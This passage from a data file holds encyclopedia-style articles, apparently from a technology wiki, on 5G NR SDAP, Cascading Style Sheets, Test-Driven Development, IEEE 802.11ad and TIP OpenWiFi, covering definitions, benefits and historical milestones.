derives the uplink Non-Access Stratum (NAS) mapping of Service Data Flow (SDF) to QoS flow. It's then able to send an uplink packet using this mapping. This is not actually an SDAP operation, since SDAP does only Access Stratum (AS) mapping of QoS flow to DRB.\n\nJun  \n2018\n\nAs part of **Release 15** specifications, SDAP specification TS 37.324 v15.0.0 is approved and published. \n\nJul  \n2018\n\nLi-Te Pan of ASUSTek Computer Inc. files a patent that restricts the network from changing the SDAP header presence configuration of the first DRB after it's established. The patent describes the challenges in changing this configuration. \n\nMar  \n2020\n\nAs part of Release 16 specifications, SDAP specification TS 37.324 v16.0.0 is published. This includes changes necessary for **sidelink communication**.","meta":{"title":"5G NR SDAP","href":"5g-nr-sdap"}}
{"text":"# Cascading Style Sheets\n\n## Summary\n\n\nWeb content is structured in HTML. Apart from content, styling is also important. A web designer often wishes to control font style, text size, alignment, page layout, image size, colours, backgrounds, margins, and so on. Likewise, readers wish to customize styling without being at the mercy of bad web designers. **Cascading Style Sheets (CSS)** is a web standard that gives both authors and readers control over styling. \n\nA web server will serve web browsers both HTML and CSS. User may supply her own stylesheet. Browsers will render the content according to the styles defined in one or more stylesheets. In addition, when these stylesheets don't define styles for some elements, browser will apply its own defaults. \n\nCSS is a stylesheet language. It's standardized by W3C.\n\n## Discussion\n\n### What are the benefits of using CSS?\n\nBack in 2002, Wired and ESPN were among the first sites to redesign their websites. They saw better performance, faster design changes, and easier style sharing. \n\nOne of the best practices of web design is to keep content and structure separate from presentation and styling. HTML provides the structure while CSS provides the styling. Before CSS, authors used **presentational HTML markup**, now deprecated by W3C. For example, if a `h2` tag had to be styled in a certain way, this extra markup would be included in every instance where the tag occurred. This made it difficult to maintain the code. \n\nThe **cascading** aspect of CSS is important. Both web authors and readers have control over styling. The author may choose to show `h3` tags in italics but the reader may have a different preference. The reader can therefore customize the style. Elements for which no styles are defined, browser defaults apply.  \n\nAnother important concept is **inheritance**. An element inherits styles of its ancestor elements (parent, grandparent, etc.). The element itself can have an overriding style declaration. \n\n\n### Is CSS a programming language?\n\nSome don't consider CSS a programming language. Others view CSS as a **declarative domain-specific programming language**. \n\nIt's declarative because CSS specifies a bunch of constraints. It tells rendering engines what's required but not how it should happen. Unlike an imperative language such as JavaScript, CSS doesn't give step-by-step instructions on how rendering should be done. This implies that control flow is implicit in declarative languages. \n\nUnlike general purpose languages such as C or Python, CSS is domain-specific. It's been created for styling elements on a webpage. \n\nOn the final point about being a programming language, the very definition of the phrase \"programming language\" can be narrow or wide. CSS has functions, variables, math, and more. It wouldn't be entirely wrong to consider it a programming language. \n\n\n### How do I specify a style in CSS?\n\nWe can style an element by specifying a *property* and assigning a *value* to that property. Property and value are separated by a colon. Taken together, the syntax `property: value;` is called a *declaration*. Multiple declarations can be specified for the same element and these are separated by semi-colon. For readability, each declaration can be on a separate line. Multiple declarations are grouped together for the same element using a pair of braces `{...}`. \n\nWe also need to select a DOM element to which the CSS declarations are to be applied. This is done using the *CSS Selector*. There are many ways to specify the selectors including class name, identifier, tag name, attribute value, and more. The position of the element within the DOM structure can also be used. For example, `li.active a` selects anchor tags appearing within list items of class `active`. \n\nA CSS selector plus its set of declarations are jointly called a *ruleset* or simply a *rule*. \n\n\n### Which are the CSS properties and their permitted values?\n\nCSS properties and values are too numerous to mention here. We share some of them to give you a sense of what's possible in CSS: \n\n    + `background`: example values include `green` (colour), and `no-repeat url(\"../../media/examples/lizard.png\")` (image).\n    + `border`: use `2px dotted` for width and style.\n    + `color`: specify the foreground (text) colour with values such as `#00ff00`, `red`, `rgb(214, 122, 127)`, and `hsla(30, 100%, 50%, .3)` (with alpha value as fourth argument).\n    + `float`: control the wrapping of an element around other elements with values such as `none`, `left`, `inline-start` and `table-row`.\n    + `font-weight`: control font boldness with values such as `normal`, `bold`, `bolder`, `lighter`, `100`, and `400`.\n    + `margin`: use `1em` margin on all sides or `2px 1em 0 auto` margin on top, right, bottom and left respectively.\n    + `text-decoration`: an example value is `underline dotted red`, which specifies line, style and colour.All properties accept values `inherit`, `initial` or `unset` to revert to ancestor or global values. \n\nSome properties such as `margin` are shorthand forms. For better readability, longer forms may be used, such as `margin-top`, `margin-right`, `margin-bottom` and `margin-left`. \n\n\n### How are CSS styles delivered to clients for rendering a webpage?\n\nOne common way to do this is to save all CSS rules within a file of extension `.css`. A stylesheet is linked from HTML pages using the `<link>` tag. Browsers will request the stylesheets when they see these links. An alternative is to include CSS rules with HTML `<script>...</script>` tag. The third method (not preferred) is to inline the styles with each element using the `style` attribute. It's possible to combine all these approaches for a single webpage. Due to its cascading nature, CSS figures out the final style to apply for each element. \n\nCSS styles have global scope, meaning that a selector can target any element of the DOM. The early 2010s saw a trend towards Single Page Applications (SPAs). Frameworks such as Augular, React and Vue emerged. About mid-2010s, **CSS-in-JS** emerged as a new way to scope styles to specific page components. CSS rules were defined within JavaScript code of each component. \n\n\n### Which are the key features of CSS?\n\nCSS has lots of features and we note a few of them:\n\n    + **Animations**: Visual effects can be created for better user engagement, for example, on mouse hover. Using *CSS 3D Transforms*, a 360-degree view of a product can be displayed.\n    + **Calculations**: Simple calculations to automatically size an element can be done with `calc()`.\n    + **Custom Properties**: Defined at root or component level, browser will substitute all instances with its value. For example, it's useful for theming.\n    + **Gradients**: Large images can be replaced with *CSS Gradients* that allow for smooth transitions across colours.\n    + **Image Filters**: Background images, colours and gradients can be combined for creating visual effects. Images can be clipped or converted to grayscale.\n    + **Layouts**: Beyond the use of tables, diverse layouts can be created with *CSS Grid* and *CSS Flexbox*.\n    + **Media Queries**: These are useful for creating responsive designs. System-wide preference for dark mode can be fulfilled.\n\n### Besides HTML, where else is CSS useful?\n\nEven in the early days of CSS, it was recognized that stylesheets could apply to markup languages other than HTML. \n\nCSS has been used with HTML, XML and XHTML. While CSS is common in web browsers many other software also use CSS. PDF generators parse HTML/XML+CSS to generate styled PDF documents. E-books, such as the popular EPUB format, are styled using CSS. Style languages have adopted CSS for their custom requirements: Qt Style Sheets and JavaFX Style Sheets for UI widgets, MapCSS for maps. \n\nOf interest to developers, the popular jQuery library has the method `css()` to set and get any CSS property value of an element. For test automation, Selenium allows developers to select DOM elements using CSS selectors as an alternative to XPath selectors. \n\n\n### Could you share some developer resources for working with CSS?\n\nVisit W3C site for a description of all CSS specifications or search for CSS standards and drafts. W3C also provides a free online CSS Validation Service to validate your stylesheets.\n\nFor a showcase on CSS capabilities, visit CSS Zen Garden. CSS-Tricks is a popular blog focused on CSS for developers. CSS Reference includes every CSS property and rendering of the same at different values. A similar site is DevDocs.\n\nThe CSS page at Mozilla's MDN Web Docs is a good place for beginners. The site has tutorials and shares a cookbook of common layout patterns. \n\nNan Jeon has shared a handy cheatsheet on CSS selectors. Each example includes HTML structure and infographic. Make A Website Hub has published another useful CSS cheat sheet. \n\n## Milestones\n\n1980\n\nIn the 1980s, stylesheets are created as part of Standard Generalized Markup Language (SGML). These are named Document Style Semantics and Specification Language (DSSL) and Formatting Output Specification Instance (FOSI). Though considered for the Web a decade later, they have a limitation: they can't combine styles from different sources. \n\nDec  \n1990\n\nTim Berners-Lee has a working web server and a browser on his NeXT computer at CERN. There's no CSS at this point but Berners-Lee recognizes that it's good to keep document structure (content) separate from its layout (styling). His browser has the means to select style sheets. He doesn't publish the details, leaving it to browsers to control styling. Indeed, when Pei-Yuan Wei creates the ViolaWWW browser in 1991, it comes with its own stylesheet language. \n\nOct  \n1994\n\nHåkon Wium Lie releases a draft titled *Cascading HTML Style Sheets*. This gets discussed, along with alternative proposals, at the Mosaic and the Web Conference in Chicago in November. Lie's proposal has the advantage of being designed for the Web. Styles can be defined by the author, the reader, the browser or even based on device display capabilities. Lie's proposal could combine or \"cascade\" styles from different sources. \n\nAug  \n1996\n\nMicrosoft's Internet Explorer (IE) becomes the first commercial browser to support CSS. IE has good support for font, colour, text and background properties but poor support for the box model. When IE6 comes out in 2001, it has much better support for CSS and a browser market share of 80%. \n\nDec  \n1996\n\n**CSS Level 1** or **CSS1** is released as a W3C Recommendation. CSS1 allows styling of fonts, colours, background, text, and lists. Box properties include width, height, margin, padding, and border. A revised version of CSS1 is published in April 2008. In September 2018, W3C officially supersedes this by more recent Recommendations. \n\nMay  \n1998\n\n**CSS Level 2** or **CSS2** is released as a W3C Recommendation. It's now possible to position elements and style page layout using tables. To target media types and devices, `@media` rule is introduced. CSS2 expands the syntax for selectors. \n\nOct  \n1998\n\nEach browser renders CSS1 differently due to non-conformance to the specifications. Todd Fahrner creates the \"acid test\", a CSS1-styled document that a browser must render exact to the pixel. This is based on the work done by Eric Meyer and others who developed a CSS test suite. In later years, more acid tests are defined. These are available at acidtests.org.\n\nJun  \n1999\n\nThe first drafts for **CSS Level 3** or **CSS3** are published by W3C. In fact, work on CSS3 started just after the release of CSS2. Unlike, CSS1 and CSS2, CSS3 takes a modular approach. There's no single document. \n\nMay  \n2003\n\nAcross browsers, support for CSS is inconsistent. Web designers prefer to avoid CSS and use HTML tables instead. Web designer Dave Shea sets out to change this by showcasing good CSS designs. He launches the website *CSS Zen Garden* with simple HTML content that could be styled differently by changing only the CSS. He showcases five of his own examples. A little later, he allows public to submit their own CSS designs.  \n\nMay  \n2011\n\nCSS3 is a collection of separate documents. It becomes difficult to release these documents due to interdependencies. It's therefore proposed that CSS3 will be based only on CSS2.1. Each document will have its own levelling. When CSS2.1 becomes a Recommendation, stable modules of CSS3 will also become Recommendations on their own. This modularization doctrine is documented in the *CSS Snapshot 2007*, which is meant for implementors to know the current state of standardization. \n\nJun  \n2011\n\n**CSS Level 2 Revision 1** or **CSS2.1** is released as a W3C Recommendation. CSS2.1 fixes some errors present in CSS2, removes poorly supported features and adds features already supported by browsers. It comes after more than a decade of edits, often changing status between Working Draft and Candidate Recommendation.  Subsequently, for CSS3, CSS Color Level 3, Selectors Level 3, and CSS Namespaces are published as Recommendations. \n\nApr  \n2020\n\nCSS now has more than a hundred documents at different levels. It may no longer make sense to use the terms \"CSS3\" or \"CSS4\". CSS continues to evolve with more capabilities.","meta":{"title":"Cascading Style Sheets","href":"cascading-style-sheets"}}
{"text":"# Test-Driven Development\n\n## Summary\n\n\nIn traditional software development (such as the Waterfall Model), the order of work is design, code and test. Test-Driven Development (TDD) reverses this order to test, code and design/refactor. In other words, writing tests becomes the starting point. For this reason, TDD is sometimes called *Test-First Programming*.  \n\nIt's common in traditional workflows to have lengthy design and implementation phases. Once code is \"frozen\", testing begins. TDD instead recommends small incremental cycles. This leads to frequent feedback and immediate course correction. Continuous Integration (CI) and Shift Left are practices or techniques that are aligned with TDD. \n\nTDD has its roots in Agile methodology and eXtreme Programming (XP). While TDD brings many benefits, it may not suit all projects. Project managers must access the context and apply it accordingly.\n\n## Discussion\n\n### Which are the main steps in TDD?\n\nThe TDD cycle or process has three distinct steps:  \n\n    + **Test**: Developer writes a unit test first. Since the corresponding feature is not yet implemented in the application code, the test should fail.\n    + **Code**: Developer writes the code with the goal of quickly passing the test. Other existing tests should also pass to confirm that nothing is broken.\n    + **Refactor**: Design is implicit in the preceding step. Since developer might have written the code quickly, this step is an opportunity to improve the design. Since tests are in place, developer can confidently refactor and improve the design.The three-step process is also called **Red-Green-Refactor**, where red implies a failing test and green implies a passing test.  \n\nSometimes the TDD cycle is described in five steps: understand the requirements first, execute the three steps of test-code-refactor, and finally repeat the process. \n\n\n### What's the essence of TDD?\n\nWhile testing is an essential aspect of TDD, TDD is not about testing. Tests are used as a means towards clean code that's less buggy. TDD is a way of developing software. It's not about how to write or execute tests. It's tests driving implementation.  For this reason, it's been said, \n\n> Only ever write code to fix a failing test.\n\nWhile testing first is certainly important, studies have shown that the real benefits come from **incremental development**. Developers must work on small features and in short cycles of test, code and refactor. To work on large and complex features that take many days or weeks is the wrong way of doing TDD. \n\nTDD gives developers quick **feedback** on whether the code works as desired. Developers can refactor code more confidently since failing tests can catch problems early on. A related aspect is that tests are written by developers, not by a separate QA team. \n\n\n### What are the benefits of TDD?\n\nTests in TDD are derived from requirements. Tests therefore specify precisely what needs to be built and nothing more. This helps us avoid shipping a wrong product or an overengineered product.  Tests are \"living documentation\", helping us understand both the requirements and the code. \n\nTDD can help developers avoid \"paralysis by analysis\". By breaking down the requirements into smaller parts, incremental and consistent progress can be achieved. These parts becomes less coupled and system design becomes less of a monolith. TDD's incremental nature helps the creative process since the developer focuses on one small part at a time. \n\nTests become a safety net. Developers can fearlessly experiment or refactor. They can continuously improve the design or implementation.  \n\nTDD creates unit tests that become useful within a CI/CD pipeline. Tests can be made to execute at every build or code commit. When tests fail, developers notice it immediately. This avoids costly integration effort later on. \n\nTDD encourage developers to write more tests. With more tests, debugging time reduces. There are fewer defects. Code becomes more cohesive and less coupled.  \n\n\n### What techniques are there for writing tests in TDD?\n\nStart with small tests. For example, a feature or bug fix may involve many building blocks. Test each of those building blocks before attempting an end-to-end feature test. Each small test may run in isolation or within an end-to-end workflow containing stubs for the other blocks. \n\nUnit tests should be automated and they should run fast. They shouldn't depend on one another. Tests that are hard to initialize, have many dependencies, cover many scenarios or show little reuse are code smells. Too many tests per class or too many mocks are also code smells. Test code should follow SOLID design principles. \n\nUnits tests shouldn't create side effects such as calling an external API. Instead, mock external dependencies. This makes tests deterministic and repeatable. \n\nHave a good naming convention for test names. When such a test fails, its name will immediately suggest what aspect of the software isn't working. \n\nTests may assert states of objects, values in databases or return values. Alternatively, tests may assert messages that are exchanged between two blocks of code. Whether state-based testing or interaction-based testing, adopt what makes sense for the project. \n\n\n### What are some best practices for TDD?\n\nManagement and developers must first commit to TDD. This commitment can help overcome old habits and migrate from test-last workflows. Avoid partial adoption where only some developers in the team use TDD. \n\nTDD doesn't imply that we don't need a QA team. While TDD covers unit testing, the QA team can look at integration and system testing. In fact, TDD may not be the best way to test for concurrency and security. \n\nCode refactoring can be about changing structure or improving design. Refactor in a controller manner and in small steps. Refactor to change internal structure without affecting external behaviour. Moving from one design pattern to another is an example of refactoring. \n\n\n### What are some criticisms of TDD?\n\nTDD requires initial effort. Since developers don't write application code until later, progress can be slow. TDD involves extra effort due to refactoring. \n\nEven 15 years after the birth of TDD, studies have failed to observe the benefits of TDD. There's no strong evidence that TDD improves code quality and productivity. Lack of testing skills among developers is a limitation. \n\nOne study found that testing first doesn't contribute to the benefits of TDD. The main contributing factor is TDD's incremental process. \n\nOften requirements at the start of a project are vague, even from the client's perspective. They evolve as the project progresses. By following TDD, tests will need to be rewritten often as requirements evolve. This is extra effort. TDD advocates that developers write tests. The developer could make the same mistake in both application code and test code. This defeats the purpose of testing. \n\nBy focusing on unit tests, TDD compromises system-level design. It leads to complex interactions, indirections, conceptual overheads, command patterns, and more. Hard-to-unit-test code is not necessarily bad design. In fact, integration tests are better than unit tests for controllers under the MVC pattern. System tests are better for views. \n\n\n### What are some variations of TDD?\n\nTDD unit tests verify isolated pieces of code. But do these parts satisfy high-level requirements? This issue is addressed by **Acceptance TDD (ATDD)**. Tests are derived from specification and requirements. ATDD works at the system level whereas TDD works at the implementation step of each feature. ATDD improves external quality whereas TDD improves internal quality. \n\n**Behaviour-Driven Development (BDD)** is derived from TDD. It shifts the focus from testing to behaviour, requirements and design. BDD could be seen as TDD done right. BDD has been called by other names including Story TDD (STDD), executable acceptance testing, and specification by example. \n\nIn the world of microservices, **Contract-Driven Development (CDD)** can help test interfaces from the perspective of both consumers and providers of service APIs. This mitigates the problem of finding problems later during integration testing. An earlier form of CDD was called Agile Specification-Driven Development that combined TDD and Design by Contract. \n\nDomain-Driven Design (DDD) can work with TDD for experimentation and iterative design. One suggested approach is to think outside in (BDD), view the big picture (DDD) and then think inside out (TDD). \n\n\n### What tools are available to practice TDD?\n\nMany programming languages and IDEs support TDD. There are frameworks that support unit testing, mocking, end-to-end testing, or acceptance testing. Other frameworks support variations of TDD such as BDD. The figure shows a selection of these. \n\nConsider a Node.js project as an example. We note some useful tools: *Node Version Manager (NVM)* for versioning, *Jest* for unit testing, *ESLint* for linting, *Prettier* for formatting, and *lint-staged* for linting on staged files via the pre-commit Git Hook. \n\nSome IDEs can generate stub methods or modify method arguments based on the usage in test cases. \n\n## Milestones\n\n1957\n\nMcCracken writes in his book *Digital Computer Programming* that tests may be written before coding. Moreover, it's advisable that such tests are written by the customers rather than by the programmers themselves. This helps to bring out misunderstandings and logical errors. \n\n1960\n\nIn the early 1960s, programmers at NASA working on the Mercury Space Program write test cases on punched cards before writing the program code. They work on half-day iterations doing test-first micro-increment cycles. Their approach is top-down with stubs. Engineers on this project were doing **incremental development** as early as 1957. \n\n1994\n\nKent Beck codes the first version of *SUnit* test framework for Smalltalk. About a year later he demos TDD to Ward Cunningham at the OOPSLA conference. \n\n1998\n\nKent Beck coins the term **TDD** in his book *Extreme Programming Explained: Embrace Change*. A point to note is that TDD has always been a part of Extreme Programming although only now it's being named TDD. \n\n2002\n\nKent Beck publishes a book titled *Test Driven Development: By Example*. He describes TDD as \"a proven set of techniques that encourage simple designs and test suites that inspire confidence.\" The goal is \"clean code that works.\" He also notes that the idea of writing tests first is not new. Years later he notes that he \"rediscovered\" TDD rather than invented it. \n\nMar  \n2003\n\nAn early study of TDD shows that it produces code that passes 18% more black box test cases compared to the Waterfall model. TDD tends to produce more tests. However, developers took 16% more time. \n\nSep  \n2003\n\nDan North starts working on *JBehave* as a replacement for *JUnit*. He introduces a vocabulary around behaviours rather than tests. Tests should actually describe behaviours. This becomes the starting point for **Behaviour-Driven Development (BDD)**. Inspired by DDD, BDD introduces (in 2004) a common language to describe user stories and acceptance criteria. \n\n2004\n\n**Story TDD (STDD)** is born as an XP practice. It brings together developers, testers and customers to discuss the requirements before any code is written. Chunks of functionality are grouped into stories. Stories are detailed. Tests are written for them. Thus, everyone arrives at a common understanding of what's to be built. In 2010, Park and Maurer review the literature on STDD. \n\n2008\n\nIn a blog post, Grenning presents a useful visualization of how TDD saves time and cost. He compares it to the traditional approach of coding first and testing later, something he calls \"Debug Later Programming\". He makes the point that bugs in code are unavoidable and therefore testing is essential. When a test fails in TDD, we usually know the problem since only small changes have been made. Feedback is immediate. This avoids long debugging sessions. \n\n2010\n\nIn a survey of Agile practitioners, 53% claim to use TDD. At an Agile webinar, 50% claim to use TDD. A Forrester survey shows only 3.4% adoption of TDD among IT professionals. However, TDD was not well-defined in this survey. It was listed alongside Scrum and XP when in fact TDD is a practice that can used within these methodologies. Likewise, results from other studies during this period must be analysed in the context of how TDD was defined or interpreted. \n\n2014\n\nMäkinen and Münch analyze current literature and learn that TDD reduces defects, makes code more maintainable and improves external quality. However, it doesn't seem to improve productivity or internal code quality. Meanwhile, Martin Fowler, Kent Beck, and David Heinemeier Hansson engage in a series of discussions asking \"Is TDD Dead?\" They address TDD's limitations and how not to do TDD.","meta":{"title":"Test-Driven Development","href":"test-driven-development"}}
{"text":"# IEEE 802.11ad\n\n## Summary\n\n\nIn scenarios where we desire throughput in excess of 1 Gbps and low latency, such as in home or office environments, we still use wires. At least, there wasn't a suitable Wi-Fi protocol to cater to these scenarios until IEEE 802.11ad was conceived.\n\nIEEE 802.11ad is a protocol for very high data rates (about 8 Gbps) for short range communication (about 1-10 meters) at the 60 GHz unlicensed band. Because of its 60 GHz operation band, 802.11ad complements but does not interoperate at the PHY layer with 802.11ac at 5 GHz band. This standard is also called **Directional Multi-Gigabit (DMG)**. Commercially, the term **WiGig (Wireless Gigabit)** is common. \n\nVendor support for IEEE 802.11ad has been growing since 2016. This standard has an evolution path towards IEEE 802.11ay, which also operates in the 60 GHz band.\n\n## Discussion\n\n### What are the typical use cases for 802.11ad?\n\nWe are surrounded by gadgets at home, office and even in our daily commutes. Content is also media rich and there's a need to stream HD videos or play interactive games. Wires are one option but going wireless would be lot more convenient. Think about connecting your laptop to a projector; or connecting Blu-ray player to HDTV; or sharing content from one phone to another; or playing a virtual reality game with wireless controls. \n\nIEEE 802.11ad enables us to get rid of wires in homes and offices. It can be used for wireless docking, display, entertainment, instant file transfers, HD media streaming, AR/VR apps, and more. In general, applications that require high bandwidth (> 1 Gbps) and low latency (~ 10 us) can benefit from 802.11ad. With 802.11ad, it becomes possible to connect without wires consumer electronics devices, handheld devices and personal computers. \n\nThis standard is ideal for short range line-of-sight (LOS) connections, although non-LOS is possible due to multiple antennas. It could also see usage in public Wi-Fi infrastructure and small cells backhaul.  \n\n\n### What frequency bands are used by 802.11ad?\n\nPreviously, in the 802.11-2016 standard, 802.11ad had four channels in the range 57-66 GHz. Today, IEEE 802.11ad operates in the 57-70 GHz frequency range. Six channels are available with each having a nominal channel bandwidth of 2.16 GHz. Channel 2 (59.40-61.56 GHz) is available in all regions and is considered as the default channel. \n\nChannel bandwidth of 2.16 GHz is a lot of spectrum, thus allowing 802.11ad to offer multi-gigabit speeds. Comparatively, the most that 802.11ac Wave2 can offer is 160 MHz via channel bonding. \n\n\n### What are some technical details or parameters of 802.11ad?\n\nAt the PHY layer, 802.11ad has three modes: Control, Single Carrier (SC), and OFDM. Later, OFDM mode was made obsolete. There's also the optional Low-power Single Carrier mode for mobile devices. \n\n802.11ad does not support spatial multiplexing such as MIMO. It supports a single spatial stream on a single channel. However, it supports **beamforming** for spatial separation and directional operation. Up to 32 antennas are possible. 2 Gbps at 100 feet LOS is possible. \n\nA variety of modulation and coding schemes (MCS) are available. MCS0 is for Control. MCS1-12 with extensions are for SC mode. MCS25-31 are for Low-power SC mode. MCS13-24 are for OFDM mode. Data rates vary from 385 Mbps to 8085 Mbps. The maximum rate is achieved in MCS12.6 using π/2-64QAM and Low Density Parity Code (LDPC) at rate 7/8. Maximum rate for Low-power SC is at MCS31 giving 2503 Mbps. \n\nCompared to 802.11ac, 802.11ad is more power efficient. It has five times lower power consumption per bit. \n\nThe MAC frame consists of preamble, header, data, and optional training for beamforming. **Golay Sequences** are extensively used in the preamble. \n\n\n### Could you explain Fast Session Transfer?\n\n**Fast Session Transfer (FST)** is a MAC layer feature of 802.11ad that allows for multiband operation. While 802.11ad is incompatible with older standards at the PHY layer due to operation in 60 GHz, interoperability is possible at the MAC layer. FST is managed by a Common Upper MAC sublayer that sits on top of Lower MAC sublayer containing band-specific implementation. \n\nWith FST, we can have seamless transfer of sessions from 60 GHz band to other bands, and vice versa. For example, if a better range is desired then the session may be transferred from 60 GHz to 5 GHz while sacrificing throughput. A session transfer that involves a different MAC address may be slower than when same MAC client and address is used for all bands. Some devices may be capable of supporting multiple bands at the same time. TP-Link's AD7200 offers such a multiband operation. \n\nA related concept is called **band steering** where an access point presents a single SSID for clients across all bands. This is supported by some D-Link routers but not by TP-Link's AD7200. \n\n\n### Who are currently supplying 802.11ad chipsets?\n\nChipsets are available from Broadcom, Intel, Qualcomm Atheros, Wilocity, Tensorcom, Peraso, Lattice Semiconductor, MediaTek, Nitero, and others. Wikipedia gives a list of specific chips from these vendors.\n\nAt CES 2013, Wilocity was one of the first to give a prototype demo of the technology based on its chips. The Wilocity chip was also used in the Dell Latitude 6430u Ultrabook. In July 2014, Wilocity was acquired by Qualcomm. Qualcomm stated that their future chips will be tri-band: 2.4 GHz, 5 GHz and 60 GHz. \n\n\n### Commercially, what 802.11ad products are currently available?\n\nWireless routers and access points are available from Netgear, Acelink, TP-Link, IgniteNet and Asus. In January 2016, Acer released TravelMate P648 notebook with 802.11ad support. Asus announced a 802.11ad smartphone back in September 2017. \n\nTP-Link's Talon AD7200 claims a theoretical speed of 7200 Mbps via multiband operation but a speed test over a distance of couple of meters gave 868 Mbps downlink and 280 Mbps uplink. \n\n\n### What are the alternatives to 802.11ad?\n\nIEEE 802.11ad is not the only protocol for multi-gigabit wireless.\n\nThere's SiBeam's **WirelessHD** (aka **UltraGig**), also operating in the 60 GHz band. Back in 2010 when 802.11ad was being standardized, SiBeam was already shipping its chips for integration into consumer products. WirelessHD is designed for video, as high as 28 Gbps. This means that uncompressed 1080p FullHD video can be transmitted. WirelessHD specs were released in January 2008. However, WirelessHD website shows no news after 2013.\n\nThere's also **Wireless Home Digital Interface (WHDI)**, which operates in the 5 GHz band. It's purpose is to deliver interactive HD video from any device to any display, with quality equivalent to wired HDMI cable. \n\nLet's not forget **Miracast**, which runs over 802.11n or 802.11ac in the 5 GHz band. With Miracast, for example, we can stream content from a smartphone to a TV. \n\n\n### How is 802.11ad related to Media Agnostic USB?\n\nIn September 2013, Wi-Fi Alliance transferred its work on \"WiGig Serial Extension Specification\" to USB-IF (USB Implementers Forum). USB-IF will use this as a starting point for standardising **Media Agnostic USB (MA-USB)**. An alternative standard called **Wireless USB** operates in the range 3.1-10.6 GHz. MA-USB is agnostic of the underlying technology. Data could be transferred on Wi-Fi 2.4/5 GHz or WiGig 60 GHz. \n\n## Milestones\n\nJan  \n2009\n\nAt the IEEE, the VHT Study Group starts looking into **Very High Throughput (VHT)** at 60 GHz. Both 802.11ac and 802.11ad come under the scope of VHT. \n\nMay  \n2009\n\nAbout 15 technology companies come together to form **Wireless Gigabit (WiGig) Alliance**, an organization tasked with defining a wireless specification at the 60 GHz band. \n\nDec  \n2009\n\nVersion 1.0 of the WiGig specification is released. It supports data rates up to 7 Gbps. WiGig 1.0 announced\n\nMay  \n2010\n\nWi-Fi Alliance and WiGig Alliance enter into a partnership. This enables Wi-Fi products in the 60 GHz band. Wi-Fi Alliance commits to studying the WiGig specs and perhaps certify for it. \n\nDec  \n2012\n\nAs an amendment to the overall IEEE 802.11, **IEEE 802.11ad-2012** is published with the title \"Enhancements for Very High Throughput in the 60 GHz Band\". It contains changes to both PHY and MAC layers. This is subsequently amended in March 2014. \n\nMar  \n2013\n\nAfter two years of collaboration, Wi-Fi Alliance and Wireless Gigabit Alliance merge. Further work on WiGig, including product certification, will be taken up by Wi-Fi Alliance. \n\nJan  \n2016\n\nAt CES 2016, TP-Link demos its WiGig router, Talon AD7200. At 60 GHz, it claims 4.6 Gbps raw data rate. It also supports a/b/g/n/ac standards where 802.11ad is not available. It has eight antennas for beamforming. Inside, it uses two Qualcomm Atheros chips, one for older standards and another for 802.11ad. Also at CES 2016, Acer shows off its TravelMate P648 with 802.11ad support. \n\nMar  \n2016\n\nOFDM mode has interoperability issues with Single Carrier (SC) mode. As a result, OFDM mode is made obsolete. In future, 802.11ay may design a proper OFDM PHY at 60 GHz. This change goes into IEEE 802.11-2016 standard, released in December 2016. \n\nSep  \n2017\n\nAsus ZenFone 4 Pro becomes the world's first smartphone to support WiGig. It's not clear if the device is certified by the Wi-Fi Alliance. It uses Snapdragon 835 Mobile Platform.","meta":{"title":"IEEE 802.11ad","href":"ieee-802-11ad"}}
{"text":"# TIP OpenWiFi\n\n## Summary\n\n\nOpenWiFi is an community-developed open source platform to lower the cost of developing and operating Wi-Fi networks, and to accelerate the innovation of services. Traditionally, every service provider or OEM would build the Wi-Fi stack from scratch for specific hardware. OpenWiFi provides an open implementation of the stack along with certified hardware on which the stack can run. It provides open APIs that enable device management from the cloud. \n\nLaunched in 2021, OpenWiFi is an initiative of the Open Converged Wireless (OCW) software project group under the Telecom Infra Project (TIP). This follows from other TIP initiatives such as OpenRAN and Open Optical & Packet Transport (OOPT). \n\nWith 16 billion+ Wi-Fi devices in use, Wi-Fi is projected to grow further, particularly when 6 GHz band is being approved for unlicensed use. Wi-Fi complements 5G. Given this context, OpenWiFi has generated much interest in the industry.\n\n## Discussion\n\n### Given open source projects such as OpenWrt and DD-WRT, why do we need OpenWiFi?\n\nOpenWrt and DD-WRT are based on WRT54G router firmware open sourced by Linksys back in 2003. Since then, the open source community has maintained and evolved such firmware to support new devices and Wi-Fi features as the need arose. Thus, these codebases grew without a top-down approach. There's no certification program to ensure that the firmware runs on a particular router hardware. Moreover, there are plenty of variants and alternatives to OpenWrt, leading to fragmentation. \n\nUnder TIP, OpenWiFi is a coordinated approach to openness within the Wi-Fi ecosystem. It uses OpenWrt. It brings all stakeholders including corporations, industry alliances and open source communities. A single codebase can be used on any compliant whitebox hardware. A standardized open API allows access points to be managed from the cloud. Application developers can use the API to build innovative services on the cloud and target any device running on the OpenWiFi stack. \n\nTIP OpenWiFi should not be confused with OpenWiFi Labs Private Limited, OpenWiFi (an R&D prototype) or openwifi (an SDR implementation).\n\n\n### What are the benefits of OpenWiFi?\n\nOpenWiFi's open codebase and compliance testing means that Wi-Fi solution providers don't have to build everything from scratch. OpenWiFi therefore enables them to **lower R&D costs** without compromising on latest features or developments in Wi-Fi. With lower barriers to entry, new service providers can come into the market. \n\nRather than focusing their efforts on \"Wi-Fi plumbing\", enterprises can focus on **service innovation**. In other words, they can focus on innovative applications rather than the Wi-Fi stack itself. \n\nOpenWiFi also enables multi-vendor selection of cloud controllers and access points. There's no vendor lock-in. Service providers get **choice and flexibility**. \n\nDue to economies of scale, OpenWiFi is expected to bring down CAPEX and OPEX, leading to **lower Total Cost of Ownership (TCO)** compared to current proprietary solutions. \n\n\n### What is the OpenWiFi stack?\n\nThe two main layers of the OpenWiFi stack are: \n\n    + **Access Point Firmware**: Among its features are support for multiple topologies, multiple authentication standards, Passpoint®, and Zero Touch Provisioning. Wi-Fi standards supported include Wi-Fi 4/5/6 or IEEE 802.11n/ac/ax. Its Network Operating System (NOS) features include embedded captive portal, airtime fairness, local provisioning over SSID, SSID rate limiting, inter-AP communication, and many more.\n    + **Cloud Controller SDK**: Among its features are Zero Touch Provisioning, firmware management, RESTful Northbound Interface (NBI), data model-driven API, template-based device provisioning with RADIUS profile management, and advanced RF control with RRM. It also enables remote troubleshooting and service assurance.\n\n### Who are the players involved in OpenWiFi?\n\nIn May 2021, OpenWiFi included more than 100 participants including services providers, Original Equipment Manufacturers (OEMs), Original Design Manufacturers (ODMs), Independent Software Vendors (ISVs), system integrators, silicon vendors and industry organizations. These names include Qualcomm, MediaTek, TP-Link, Edgecore Networks, T-Mobile, Vodafone, NetExperience, Facebook, and many more. \n\nODMs will offer whitebox access points that are OpenWiFi compatible and address various use cases. OEMs will bring together whitebox hardware and 